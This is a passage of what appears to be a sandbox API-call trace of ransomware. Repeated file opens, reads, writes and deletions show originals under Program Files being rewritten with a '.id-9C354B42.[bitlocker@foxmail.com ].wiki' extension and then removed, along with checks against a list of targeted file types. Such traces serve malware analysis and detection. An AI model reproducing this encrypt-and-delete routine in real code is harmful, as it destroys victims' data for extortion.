(hObject=0x168) returned 1 [0060.539] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.539] SetEndOfFile (hFile=0x21c) returned 1 [0060.540] CloseHandle (hObject=0x21c) returned 1 [0060.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0060.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.541] lstrlenW (lpString=".doc") returned 4 [0060.541] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.541] lstrlenW (lpString=".docx") returned 5 [0060.541] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0060.541] lstrlenW (lpString=".pdf") returned 4 [0060.541] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.541] lstrlenW (lpString=".xls") returned 4 [0060.541] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.541] lstrlenW (lpString=".xlsx") returned 5 [0060.541] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0060.541] lstrlenW (lpString=".ppt") returned 4 [0060.541] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.541] lstrlenW (lpString=".zip") returned 4 [0060.541] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.541] lstrlenW (lpString=".rar") returned 4 [0060.541] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.541] lstrlenW (lpString=".bz2") returned 4 [0060.541] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.541] lstrlenW (lpString=".7z") returned 3 [0060.541] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.541] lstrlenW (lpString=".dbf") returned 4 [0060.542] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.542] lstrlenW (lpString=".1cd") returned 4 [0060.542] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.542] lstrlenW (lpString=".jpg") returned 4 [0060.542] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.542] lstrlenW (lpString=".doc") returned 4 [0060.542] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.542] lstrlenW (lpString=".docx") returned 5 [0060.542] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0060.542] lstrlenW (lpString=".pdf") returned 4 [0060.542] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.542] lstrlenW (lpString=".xls") returned 4 [0060.542] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.542] lstrlenW (lpString=".xlsx") returned 5 [0060.542] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0060.542] lstrlenW (lpString=".ppt") returned 4 [0060.542] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.542] lstrlenW (lpString=".zip") returned 4 [0060.542] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.542] lstrlenW (lpString=".rar") returned 4 [0060.542] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.542] lstrlenW (lpString=".bz2") returned 4 [0060.542] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.542] lstrlenW (lpString=".7z") returned 3 [0060.542] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.542] lstrlenW (lpString=".dbf") returned 4 [0060.542] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.543] lstrlenW (lpString=".1cd") returned 4 [0060.543] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0060.543] lstrlenW (lpString=".jpg") returned 4 [0060.543] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.543] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.543] lstrlenW (lpString="AG00038_.GIF") returned 12 [0060.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.544] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3251) returned 1 [0060.544] CloseHandle (hObject=0x21c) returned 1 [0060.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0060.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.544] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.544] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0060.544] GetLastError () returned 0x0 [0060.544] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xcb3, lpOverlapped=0x0) returned 1 [0060.553] WriteFile (in: hFile=0x168, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0060.568] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.568] WriteFile (in: hFile=0x168, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.568] SetEndOfFile (hFile=0x168) returned 1 [0060.568] CloseHandle (hObject=0x168) returned 1 [0060.568] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.568] SetEndOfFile (hFile=0x21c) returned 1 [0060.569] CloseHandle (hObject=0x21c) returned 1 [0060.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0060.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.569] lstrlenW (lpString=".doc") returned 4 [0060.569] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.569] lstrlenW (lpString=".docx") returned 5 [0060.569] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.570] lstrlenW (lpString=".pdf") returned 4 [0060.570] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.570] lstrlenW (lpString=".xls") returned 4 [0060.570] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.570] lstrlenW (lpString=".xlsx") returned 5 [0060.570] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.570] lstrlenW (lpString=".ppt") returned 4 [0060.570] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.570] lstrlenW (lpString=".zip") returned 4 [0060.570] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.570] lstrlenW (lpString=".rar") returned 4 [0060.570] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.570] lstrlenW (lpString=".bz2") returned 4 [0060.570] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.570] lstrlenW (lpString=".7z") returned 3 [0060.570] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.570] lstrlenW (lpString=".dbf") returned 4 [0060.570] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.570] lstrlenW (lpString=".1cd") returned 4 [0060.570] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.570] lstrlenW (lpString=".jpg") returned 4 [0060.570] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.570] lstrlenW (lpString=".doc") returned 4 [0060.570] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.570] lstrlenW (lpString=".docx") returned 5 [0060.570] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.570] lstrlenW (lpString=".pdf") returned 4 [0060.570] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.570] lstrlenW (lpString=".xls") returned 4 [0060.571] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.571] lstrlenW (lpString=".xlsx") returned 5 [0060.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.571] lstrlenW (lpString=".ppt") returned 4 [0060.571] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.571] lstrlenW (lpString=".zip") returned 4 [0060.571] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.571] lstrlenW (lpString=".rar") returned 4 [0060.571] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.571] lstrlenW (lpString=".bz2") returned 4 [0060.571] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.571] lstrlenW (lpString=".7z") returned 3 [0060.571] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.571] lstrlenW (lpString=".dbf") returned 4 [0060.571] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.571] lstrlenW (lpString=".1cd") returned 4 [0060.571] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0060.571] lstrlenW (lpString=".jpg") returned 4 [0060.571] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.571] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.571] lstrlenW (lpString="AG00090_.GIF") returned 12 [0060.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.572] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=517) returned 1 [0060.572] CloseHandle (hObject=0x21c) returned 1 [0060.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0060.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.572] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.572] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0060.572] GetLastError () returned 0x0 [0060.572] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x205, lpOverlapped=0x0) returned 1 [0060.573] WriteFile (in: hFile=0x168, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x210, lpOverlapped=0x0) returned 1 [0060.574] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.574] WriteFile (in: hFile=0x168, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.574] SetEndOfFile (hFile=0x168) returned 1 [0060.574] CloseHandle (hObject=0x168) returned 1 [0060.574] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.574] SetEndOfFile (hFile=0x21c) returned 1 [0060.575] CloseHandle (hObject=0x21c) returned 1 [0060.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0060.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.575] lstrlenW (lpString=".doc") returned 4 [0060.575] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.575] lstrlenW (lpString=".docx") returned 5 [0060.575] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.576] lstrlenW (lpString=".pdf") returned 4 [0060.576] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.576] lstrlenW (lpString=".xls") returned 4 [0060.576] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.576] lstrlenW (lpString=".xlsx") returned 5 [0060.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.576] lstrlenW (lpString=".ppt") returned 4 [0060.576] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.576] lstrlenW (lpString=".zip") returned 4 [0060.576] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.576] lstrlenW (lpString=".rar") returned 4 [0060.576] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.576] lstrlenW (lpString=".bz2") returned 4 [0060.576] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.576] lstrlenW (lpString=".7z") returned 3 [0060.576] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.576] lstrlenW (lpString=".dbf") returned 4 [0060.576] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.576] lstrlenW (lpString=".1cd") returned 4 [0060.576] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.576] lstrlenW (lpString=".jpg") returned 4 [0060.576] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.577] lstrlenW (lpString=".doc") returned 4 [0060.577] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.577] lstrlenW (lpString=".docx") returned 5 [0060.577] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.577] lstrlenW (lpString=".pdf") returned 4 [0060.577] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.577] lstrlenW (lpString=".xls") returned 4 [0060.577] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.577] lstrlenW (lpString=".xlsx") returned 5 [0060.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.577] lstrlenW (lpString=".ppt") returned 4 [0060.577] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.577] lstrlenW (lpString=".zip") returned 4 [0060.577] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.577] lstrlenW (lpString=".rar") returned 4 [0060.577] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.577] lstrlenW (lpString=".bz2") returned 4 [0060.577] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.577] lstrlenW (lpString=".7z") returned 3 [0060.577] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.577] lstrlenW (lpString=".dbf") returned 4 [0060.577] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.577] lstrlenW (lpString=".1cd") returned 4 [0060.577] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0060.577] lstrlenW (lpString=".jpg") returned 4 [0060.577] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.577] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.578] lstrlenW (lpString="AG00092_.GIF") returned 12 [0060.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.578] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=502) returned 1 [0060.578] CloseHandle (hObject=0x21c) returned 1 [0060.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0060.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.578] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.578] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0060.578] GetLastError () returned 0x0 [0060.579] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x1f6, lpOverlapped=0x0) returned 1 [0060.579] WriteFile (in: hFile=0x168, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x200, lpOverlapped=0x0) returned 1 [0060.580] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.580] WriteFile (in: hFile=0x168, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.580] SetEndOfFile (hFile=0x168) returned 1 [0060.581] CloseHandle (hObject=0x168) returned 1 [0060.581] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.581] SetEndOfFile (hFile=0x21c) returned 1 [0060.581] CloseHandle (hObject=0x21c) returned 1 [0060.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft 